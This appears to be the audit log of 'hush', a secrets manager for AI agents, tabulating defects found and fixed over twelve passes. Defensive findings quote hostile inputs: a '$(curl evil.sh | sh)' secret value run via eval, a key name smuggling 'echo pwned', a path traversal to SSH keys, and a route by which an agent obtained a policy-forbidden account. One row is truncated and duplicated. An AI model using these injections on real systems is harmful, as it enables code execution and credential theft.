hushsecrets your AI agent can use but never readGitHub

Audit log

Every pass made over this codebase looking for defects, what each one found, and what changed as a result. It is kept because the shape of the mistakes is more useful than the list of them — several were found only after the thing meant to catch them turned out to be broken itself.

The threat model and the known limitations live in SECURITY.md.

Findings from the audit, and what changed

An adversarial pass over the codebase found these. All are fixed, each with a regression test.

SeverityIssueFix
Criticalsave() truncated the vault before writing — a crash or full disk destroyed every secretWrite to temp, fsync, rename
HighChildren inherited HUSH_VAULT / HUSH_HOME / HUSH_AGE_IDENTITY, so an injected process could re-open the vault and read everything, not just what it was givenStrip the whole HUSH_* namespace from the inherited environment
Highpolicy.json replaced denyCommands, so a config written by an older version silently missed every protection added sinceThe built-in list is a floor; file entries are unioned with it
HighdenyCommands had no interpreters — hush_run node -e "…" wrote the entire environment to a file, past the redactorAdded interpreters, archivers, encoders and network tools; documented the limit
HighallowEnvs was checked against the base environment only, so an agent pinned to dev could name any account, including productionEvery resolved scope is checked
MediumThe identity was passed to security as an argv element, visible in ps to every local processPassed on stdin
MediumApproval grants were cached globally, so an approval in one vault satisfied an identical scope in anotherGrants keyed by vault directory
Medium/api/reveal in the UI returned plaintext with no approval or biometry checkGoes through the same policy as everything else
MediumResolving an age identity ran on every command, so hush ls could wake a YubiKeyLazy and memoised; only touched when the vault actually has age recipients
MediumremoveRecipient deleted the member before re-sealing, so a failing age plugin left a half-applied revocationRolls back on failure
LowUI session token compared with !==timingSafeEqual
Lowhush run called process.exit(), truncating piped outputSets process.exitCode
Lowhush export --out left an existing file's permissions alonechmod 0600 after write
LowA crash during a secret prompt left the terminal in raw modeRestored on exit
LowAn oversized UI request body kept buffering after rejectionSocket destroyed
LowA crafted age identity file could name an arbitrary plugin binaryPlugin name constrained

Second pass

SeverityIssueFix
CriticalConcurrent writes silently lost data. Eight hush set commands at once left one surviving key: each process read the vault, edited its own copy, and the last write erased the rest. Atomic save prevented corruption but not lost updatesAn exclusive lock around read-modify-write, plus a replay journal so value edits land on the newer copy instead of overwriting it. Membership and rotation changes refuse to merge rather than guessing
HighRollback. Every value is authenticated, but nothing proves freshness. A revoked member kept their old checkout — in which they are still a recipient and the values are still live — and force-pushed it back to regain accessA per-vault high-water mark of the data-key generation. The mark never moves down, so a vault that goes backwards warns on every command, names who reappeared, and fails hush verify. hush verify --accept is the deliberate way to accept a real restore
LowseenDir was a module-level constant capturing HUSH_HOME at import, making it untestable and unresponsive to a caller setting it — the same trap as the biometry platform checkResolved per call

Rollback is worth being precise about: this detection cannot prevent the attack, only make it impossible to perform quietly. Branch protection on the repository holding the vault is the actual control.

Third pass

SeverityIssueFix
HighCommand injection through key names. Nothing validated them, and hush export --shell emitted export FOO; echo pwned; X="v" — which hush hook feeds straight to eval. A member with legitimate write access could run commands on every teammate's machineNames must be POSIX identifiers, enforced at the single write path. Generators filter rather than escape, because there is no safe way to export a non-identifier
HighSecrets stayed loaded after leaving a project. The shell hook exported them and never unloaded, so cd out of a repo carried production credentials into every unrelated process — including a coding agentThe hook records what it exported and unsets it on the way out. (zsh does not word-split unquoted parameters, so the first version's unset silently did nothing — the emitted code is now shell-specific)
HighRevocation could be a lie. Two members could share a name; hush team rm bob removed one, reported success, and left the other with full accessNames must be unique. Removal deletes every entry with that name, so a vault written before the rule is still fully revoked
MediumThe agent-visible preview leaked up to half a secret. preview() revealed a fixed five characters above length eight, so a ten-character token showed five of them through hush_describe_secretNothing below twenty characters; above it, at most a quarter
MediumAny tool error killed the MCP server. Tracking in-flight calls with p.finally() created a second promise that rejected unhandled — self-inflicted while fixing the shutdown racep.then(done, done), plus end-to-end transport tests that had been missing entirely
Mediumhush export and hush run disagreed. Export materialised only the base environment, silently omitting every service-account secret, so a generated .env did not match what the app got at run timeBoth use the same resolution
MediumMulti-line secrets were truncated on input. cat key.pem | hush set PRIVATE_KEY stored only the first line — a PEM key being among the likeliest things to storeA single-value prompt consumes all of stdin; only multi-variable flows read line by line
MediumValues did not survive export → import. The writer escaped, the parser did not unescapeSymmetric escaping, with round-trip tests over awkward values
MediumTen seconds of CPU on a chatty command. The redactor always carried maxLen-1 bytes, so one long secret made every write rescan kilobytesThe carry is now only a live partial match — 25× faster, with the straddle guard kept (removing it leaked a whole value, caught by a test)
MediumA killed hush run orphaned its child, still holding every injected credential; a signal-killed child also reported successSignals are forwarded, and a signal death reports 128+n
LowA malformed link.json crashed with an internal Node path error; a corrupt vault said Unexpected token 'h'Both name the file and say how to recover. A git-conflicted vault is detected specifically, and hush init now writes .gitattributes marking the vault unmergeable so git raises a conflict instead of blending two vaults into an unopenable one
LowThe MCP server buffered unbounded input lines; missing required arguments reached spawn as the string "undefined"A 4 MB line cap and explicit argument validation
LowDead code: an orphaned injectable(), unused imports across six filesRemoved; noUnusedLocals is on permanently so it cannot creep back
LowThe MCP server resolved the project root with a forward-slash-only regex (wrong on Windows); scope names accepted ..Both separators; dot segments refused

Fourth pass — crypto review and the hardware path

Two things were previously listed as "cannot be verified here". Both had an achievable form that was simply skipped.

Crypto properties are now pinned by adversarial tests, including ones the code does not itself enforce and would lose silently if the backend changed:

The hardware path is now tested without hardware. The age plugin protocol is age's code, not hush's; what hush owns is detecting a plugin identity, invoking age correctly, and reporting failures. A stub plugin and a stub age cover all of it — and doing so found two real bugs:

SeverityIssueFix
HighrecipientsForIdentity only fell back to the plugin when age-keygen -y threw. A plugin identity where it exits zero without printing a recipient was reported as having none — so a real YubiKey would silently look like "no hardware key here", dropping the user back to a software identityFall back whenever the first source yields nothing
MediumageBinary() shelled out to which, which does not exist on Windows and is absent from many minimal container images. The age bridge would report "age is not installed" on exactly the machines where that is hardest to diagnosePATH is resolved in Node, honouring PATHEXT on Windows, with no subprocess
LowA negative lookup was cached for the process lifetime, so installing age after hush age told you to would go unnoticed for the whole MCP sessionPositive results memoised; negative ones expire after five seconds

Fifth pass — conformance, the ladder's top rung, and the untested surfaces

The scheme is now validated against an independent implementation. test/scheme-conformance.test.ts reimplements hush/v1 in WebCrypto, written against the documented spec rather than against src/crypto.ts, and checks it opens what hush produced. That shows two things self-testing cannot: the scheme is specified precisely enough for someone else to implement, and hush matches that specification rather than merely being self-consistent. Every primitive is also differentially tested — node:crypto and WebCrypto must agree on HKDF-SHA256, AES-256-GCM with AAD, and X25519 — which is much of what a reviewer checks for primitive misuse.

SeverityIssueFix
HighThe top rung of the ladder was unreachable. hush secure --hardware ends by telling you to run hush team rm <you> to retire your software key — and that command refused with "You cannot remove yourself", unconditionally. The entire hardware upgrade the tool recommends could not be completedThe guard is about lock-out, not identity: retiring one of your keys is allowed while another of yours remains a recipient, and still refused when it would leave you with none
Mediumui.ts had no automated coverage at all — an HTTP server that can hand out every key you own20 tests: token and near-miss rejection, DNS-rebinding via a raw request (fetch silently drops a Host override, so the obvious test asserts nothing), CSP, name and scope validation, malformed and oversized bodies, and that no value ever appears in the HTML or in /api/state
Mediumsecure.ts had no coverage either, and performs the only destructive operations in hush10 CLI-level tests, including that it will not delete a .env without a confirmation it cannot obtain non-interactively, and never records a protection it cannot enforce

Sixth pass — the hardware path, driven for real

The remaining gap was "we cannot test the hardware path without hardware". That was only half true. test/fixtures/age-plugin-mock implements the actual C2SP age-plugin protocol, so the real age binary drives it exactly as it drives age-plugin-yubikey — recipient-v1, identity-v1, and the -> msg stanza a hardware key uses to ask for a touch.

The complete upgrade is now exercised end to end in CI: hush detects the plugin identity as hardware, adds a plugin-backed recipient through real age, credits the hardware rung, retires the software key, re-keys the vault, and then opens it only through the plugin.

What that leaves unproven is one thing: whether age-plugin-yubikey correctly speaks USB to the device. That is that project's responsibility and its own test suite — nothing in hush sits between them.

Independent human review of the scheme is still worth having. The conformance suite raises the floor; it does not replace a reviewer.

Seventh pass — fuzzing and mutation testing

Two methods not used before. Fuzzing checks invariants over inputs nobody chose; mutation testing checks whether the tests would notice if a fix were removed.

Fuzzing (test/fuzz.test.ts, seeded so failures reproduce) asserts that no secret survives any chunking of any output, that values round-trip through export and import unchanged, and that the vault agrees with a plain model over random operation sequences. Every regex was also checked for catastrophic backtracking; all are linear.

Mutation testing deliberately reintroduced ~25 past bugs to see which the suite would catch. Seven survived, meaning seven real fixes had no test holding them in place — including the atomic save, the vault lock, the allowEnvs account check, and the command deny list. All are now pinned.

And it found a live bug:

SeverityIssueFix
HighThe vault lock could be stolen, losing a write that reported success. open(…,"wx") creates the lock file empty and fills it a moment later. Staleness was judged by parsing the file's contents, so a second writer landing in that window saw unparseable JSON, concluded the lock was dead, deleted it, and proceeded. Two writers then held it at once — one write vanished while its command printed "✓ added". Reproduced at roughly one run in fiveStaleness is judged by mtime, which is fresh from the instant the file exists. Reclaiming an abandoned lock re-checks mtime first

That bug was found by refusing to dismiss a flaky test. Making the failure diagnosable — printing what the losing writer said — turned "sometimes 7 of 8" into "PAR_1 reported success and is not in the vault", which named the cause immediately.

Two mutants survive deliberately. The constant-time token comparison is functionally identical to ===, and no functional test can distinguish them. The rollback watermark's write condition is idempotent, so relaxing it changes nothing observable. Both are equivalent mutants rather than coverage gaps.

Eighth pass — the .env dropzone

A new feature is new surface, so it got the same treatment. Four issues in the code that had just been written:

SeverityIssueFix
MediumStaging held plaintext without limit. Each dropped file was parsed and kept server-side for 15 minutes; nothing capped how many. A page left open could pin an unbounded amount of secret material in memory20 uploads / 8 MB, refused with a message naming the fix
MediumDiscard did not discard. The button dropped only the page's own reference; the server kept the plaintext until the TTL, and the upload stayed importableAn explicit /api/discard, called on cancel
MediumRelabelling unsealed the secret. /api/tag decrypted the value and re-sealed it just to change a note — so a hardware-backed identity would ask for a touch to rename a tag. The note is metadata beside the ciphertext, not inside it and not in the AADvault.retag() edits the note only. A test proves it works for someone who cannot decrypt the vault at all
LowTwo files defining the same key collided. Row choices were keyed by variable name, so dropping two .envs that both set FAL_KEY made one row's scope, tag and checkbox drive bothKeyed per row

Plus client-side guards the server could not provide: a file-size check before the tab reads a multi-gigabyte drop into memory, a file-count cap, and a double-submit guard (a second click re-sent spent stages and reported them as expired).

A usability trap worth naming, because it would have cost someone an afternoon: filing a key into a service account the project does not use is accepted, but hush run then silently does not inject it. Import now reports which accounts are not in use, with a one-click fix.

The page script had no coverage at all. The whole UI is a template string, so TypeScript never looks at it — a syntax error there compiles cleanly, passes every server test, and ships a blank page. There is now a test that parses it, runs its esc() against hostile input, executes its row-key function to prove two files stay apart, and checks that every data-bearing interpolation into markup is escaped. That last one found s.id reaching an attribute raw; a hardcoded catalogue key today, so not exploitable, but escaped now.

Ninth pass — drift, dead config, and coverage holes

Documentation and configuration rot silently; no behavioural test notices. A consistency checker comparing code against everything that describes it found:

SeverityIssueFix
MediumallowReveal was dead config. Declared in the policy, defaulted, written into every generated policy.json — and never read. Its comment referenced hush_reveal, a tool that never existed. In a security tool, a knob that looks like a control but is inert is worse than no knobRemoved, with a test asserting every policy field is actually read
LowThe README still documented hush_request_secret, removed two passes earlier, and showed a stale requireApproval defaultFixed, with tests that fail if either drifts again
LowunsafeAllowCommands — the only way past the command deny list — was documented nowhereDocumented, with a test that every policy field appears somewhere a user would look
Low--with fal:mod io and --with fal:: were accepted, failing later with a worse messageBoth halves validated at the flag
Lowhush ls said "No secrets" without mentioning that other environments or accounts existed, so a vault whose contents live elsewhere looked emptyBoth are listed either way

Five surfaces had no tests at all: the UI's /api/account and /api/team endpoints (the latter re-keys the vault on member removal), and the hush_list_accounts, hush_check_repo and hush_provision MCP tools — including the one that resolves "use my acme fal key". Adding them found that hush_provision reported "Ready" for an account holding only some of a service's variables, so an agent would start a deploy that failed halfway with a confusing auth error.

Validation failures also answered 500 rather than 400, reading as server faults. There is now a ValidationError type thrown by the name, size and key checks, so bad input is distinguishable from a real fault — replacing a brittle message-matching regex that had already gone stale once.

Tenth pass — hush doctor had gone stale

The "is my setup right?" command was still describing the tool as it was five passes earlier. It never mentioned the security ladder, the policy actually in force, the agent skill, the age bridge, or service accounts — and it repeated a bug already fixed in hush ls, printing fal/personal under "envs" as though an account were an environment.

SeverityIssueFix
Lowdoctor listed service accounts as environmentsReported separately, with a marker for which are pinned
Lowdoctor said nothing when accounts existed but none were pinned — so hush run injects none of them, silentlyCalled out explicitly
Lowdoctor never showed the approval policy, the skill, the hardware bridge, or the ladder rungAll reported, with the next step
LowThe biometry line ticked "preferred", which still falls back to a click, while the ladder withholds rung 4 until "required" — two parts of the tool disagreeing about the same stateTicked only when actually enforcing

That last one is the interesting kind: not a crash, just two surfaces telling the user different things about the same setting.

Eleventh pass — attacking staleness at the source

The last several passes all found the same shape of defect: one part of the tool stops agreeing with another as features land around it. Rather than keep finding instances, this pass went after the cause — every fact stated in more than one place.

SeverityIssueFix
MediumThe default policy was written out by hand in three places: DEFAULT_POLICY, the template hush install-mcp writes, and hush secure approval. That is exactly how allowReveal kept being written into every new project after it had stopped meaning anythingBoth copies now derive from the exported defaults
LowThe version was typed into three files — src/cli.ts, src/mcp.ts and package.json — so hush --version and the version the MCP server reports to a client could disagree with what was publishedOne src/version.ts, with a test that it matches package.json and that nothing else declares it
Lowhush install-mcp wrote all fifty-two built-in denied commands into each project's policy.json, where they read as a curated choice and go stale — while loadPolicy applies that floor regardlessThe generated file carries only the knobs a person would tune
LowThree comments claimed line counts. One described a file as roughly half the size it had grown toRemoved, with a test that refuses any reintroduced line count — including in this document, which is how this very row got rewritten

The tests added here are the point: not "this file currently says 120", but "no comment may claim a line count at all", and "the default policy may not be retyped outside mcp.ts". A check that a duplicate is correct has to be maintained; a check that a duplicate does not exist does not.

One test in this pass was written as a regex over the source, asserting how the code was written rather than what it does. That is the same brittleness that had already gone stale once in the UI's error handling, so it was rewritten to generate a policy and read it.

Twelfth pass — the mutation harness was lying

This pass began by re-running mutation testing across every module rather than only the recently-touched ones. It found more in the harness than in the code.

Two harness bugs, in opposite directions. The first shell version passed a space-separated list of test files as one unquoted variable — which zsh does not word-split — so node --test got a single nonexistent filename every time, the # fail line never appeared, and every mutation was reported as surviving. The rewrite in Node fixed that and introduced the opposite fault: it copied only the directories it thought were needed, so the worker's copy was missing LICENSE and RESEARCH.md, consistency.test.ts failed on a broken documentation link before any mutation was applied, and every mutation was reported as killed. Five batches of results — 87 mutations — were worthless, and they were worthless in the flattering direction.

A third fault showed up later: the harness re-read each source file from the live repository on every job, so an edit made while a run was in flight changed what the remaining mutations were applied to. The run then measured a mix of two trees and reported it as one number.

The fixes are not better copy lists. The harness now runs the unmutated tree first and refuses to start unless the baseline is green; it snapshots every source file once at the start; and it checks at the end that nothing moved underneath it. A mutation run without a green baseline measures nothing, a measurement that can only come back "good" is not a measurement, and a run spanning two versions of a file describes neither of them.

With a trustworthy harness, the honest first number was 89 of 137 killed.

SeverityIssueFix
, backticks and backslashes. A value of $(curl evil.sh | sh) therefore ran on every machine whose hook loaded that vault. The comment above the function had considered exactly this risk for variable names and filtered them; the value half went unexaminedValues are single-quoted, with the quote character escaped the POSIX way. Tested by running the generated script through sh, bash and zsh and asserting that a canary file never appears
CriticalThe published package did not run at all. Node refuses to strip TypeScript types for any file under node_modules, so npm install hush && hush --version failed with ERR_UNSUPPORTED_NODE_MODULES_TYPE_STRIPPING — and so did every other command. "No build step" is true of developing hush and was never true of installing it. Every test ran from the checkout, where stripping works, so a green suite said nothing about the artifactnpm run build emits dist/, prepack runs it, the tarball ships it, and the bin shim prefers it while still running straight from src/ in a clone. Tested by packing, installing and using it
High.hush/link.json could name any path on the machine. It is documented as safe to commit, so it arrives from whoever wrote the repository you cloned. A relative name was joined onto ~/.hush/vaults, which ../../.ssh/id_ed25519 walks straight out of; an absolute one was taken as given, including /dev/zeroA relative name must be one safe segment; the target must be a regular file; an absolute path outside ~/.hush is announced on stderr rather than followed silently
HighA parse failure printed the contents of the file it failed on. V8 puts an excerpt in the message — Unexpected token 'r', "root:x:0:0:…" is not valid JSON. Together with the row above, cloning a repository and running any hush command put the first bytes of an attacker-chosen file on the terminal, and into the agent's context if the agent was the one who ran itThe excerpt is stripped; the position, which is the useful half, survives
CriticalA secret's value could run commands on every teammate's machine. hush export --shell is fed straight to eval by the shell hook, on every directory change. Values went through JSON.stringify, which produces a double-quoted shell string — and inside double quotes a shell still expands dollar signs, backticks and backslashes. A value that was a command substitution therefore ran on every machine whose hook loaded that vault. The comment above the function had considered exactly this risk for variable names and filtered them; the value half went unexaminedValues are single-quoted, with the quote character escaped the POSIX way. Tested by running the generated script through sh, bash and zsh and asserting that a canary file never appears
Highhush_add_secret checked the platform before the policy. On any host without native dialogs — every Linux box, and macOS when the approver was switched to the terminal flow — a scope allowEnvs forbids was never refused. The fallback message then handed the agent the exact command to run in the terminal to obtain the forbidden accountPolicy first, capability second
HighThe vault file was trusted after one check of its scheme string. It arrives over git, from whoever opened the pull request. A vault with "generation": "lots" decrypted perfectly and silently disabled rollback detection, because "lots" < 4 is false and so is "lots" > 4 — the comparison that is supposed to shout simply stopped shoutingassertVaultShape on load: a shape check, not a schema, so a vault from a newer hush still opens
HighA generation of 2^53 poisoned the rollback watermark permanently. Every genuine vault afterwards reads as rolled back, so the warning fires constantly and hush verify never passes againGeneration bounded above as well as below
HighThe concurrent-merge path adopted an on-disk vault without validating it. saveLocked() is the one place that takes a vault file wholesale without going through open() — so a malformed file landing there would replace the in-memory copy and be written straight back out, laundering it into the repoThe merge validates the same way open() does
HighA data-key wrap with no member entry was invisible. The wraps map grants decryption; recipients is the list people read. A wrap whose fingerprint is absent from recipients opens every secret while hush team ls shows no such member — the shape a revoked member would leave to keep quiet accesshush verify reports unlisted wraps and fails on them
Mediumhush add reported success having stored nothing. With no terminal and nothing piped it printed "nothing entered, nothing changed" and exited 0, so a CI job that checked the exit code believed the credential was storedFails when there was no way to enter anything; names the variables left unset on a partial write
MediumStrings out of the vault file were rendered raw. A five-megabyte note took hush ls out with a kill signal, and an ANSI escape in a note or a member name is interpreted by the terminal rather than shown by it — so it can erase the lines above and rewrite what a reviewer thinks they are readingOne safeText for every file-sourced string that reaches a screen
MediumA directory named age on PATH was taken for the binary. A directory's execute bit means "traversable", so accessSync(p, X_OK) is satisfied by one — and the failure then surfaced as EACCES from the middle of a decrypt rather than as "age is not installed". HUSH_AGE_BIN had the same hole via existsSyncBoth paths require a regular file with the execute bit
MediumThe rollback watermark compared roster length, not content. Adding a member does not mint a new generation, so a roster that changed without growing left a stale name list, and reappeared would then name the wrong peopleCompared by content
Lowgen was stamped on every value and read by nothing. Dead metadata that looked like a checkIt now drives a re-seal completeness check: a value left on an older generation means a rotation did not finish, so a revoked member's old key still opens it. hush verify reports and fails on it
LowThe MCP approval prompt had no configurable timeout. Two minutes of a blocked tool call is a blocked agent, and on a headless box where no dialog can ever appear it is two minutes of nothingapprovalTimeoutSeconds

The worst of these was found by reading rather than by mutation. Mutation testing asks "would anything notice if this line changed?"; it cannot ask "is what this line does safe?". toShellExports had a test, the test passed, and the test asserted the vulnerable output format verbatim — so every mutation of that line was dutifully killed by a test that was pinning the bug in place.

| Low | findExampleFile was exported and called by nothing. The same shape as the gen field: dead code reads as a feature, and someone eventually extends it or trusts it is doing something | Removed, with a check that refuses any export nothing uses — a test counts as a use, which is the right bar for anything other people are meant to call | | Low | Three of this pass's own test edits corrupted the files they were editing. A patch script whose replacement text contained a backtick terminated its own template literal and spliced a whole file into the middle of itself: src/run.ts ended up containing two complete copies, and SECURITY.md two copies with the stale one first. TypeScript caught the source; nothing would have caught the document | Checks that no document repeats a heading and no source file declares a top-level symbol twice | | Low | A hand-edited JSON example in the README did not parse — a trailing comma, in a config block someone would copy | Every fenced json block in the docs is parsed by a test |

The three worst findings here came from reading and from trying the thing, not from mutation. Mutation testing asks "would anything notice if this line changed?"; it cannot ask "is what this line does safe?", and it cannot ask "does any of this work once it is installed".

toShellExports had a test, the test passed, and the test asserted the vulnerable output format verbatim — so every mutation of that line was dutifully killed by a test that was pinning the bug in place. And the whole package was unusable after npm install while 354 tests passed, because every one of them ran from the checkout. The lesson is the same one the harness taught: a check has to be able to fail for the reason you care about, or it is decoration.

Tests, not fixes, were most of the work. Forty-three properties had no test at all — among them: an expired approval grant being honoured, a biometric denial being ignored, allowCommands not enforced, the deny list matched against the whole path rather than the command name, the UI binding every interface, the identity file's permissions, hush get printing a credential without confirmation, --with not overriding a pinned account, and the vault being written in place rather than replaced.

Three tests were passing vacuously, which is the same failure as an untested property but harder to see:

Two mutations were checked individually and are genuinely equivalent; they are listed below rather than chased with contorted tests.

Mutants that survive on purpose

Four mutations are known to be behaviourally identical, each checked individually rather than assumed:

One more was equivalent only because of a defence that was already there: the data-key cache is keyed by fingerprint, and mis-keying it changes nothing because membership is re-checked before the cache is consulted. Removing the re-check as well is caught immediately — which is the useful way to state it.

The rollback watermark's write condition used to be on this list. It is not equivalent any more: the condition now compares the member list by content rather than by length, and a test covers the case that distinguishes them.

Reaching the temp-file cleanup took some care, and is worth recording because the first attempt did not. Every obvious way to break a save — a directory where the vault should be, an unwritable parent — throws before the temp file is created, so the cleanup never runs and a test built on one of those passes without exercising anything. The test that does work makes the destination immutable with chflags, so the temp file is written and fsynced and only then is the rename refused.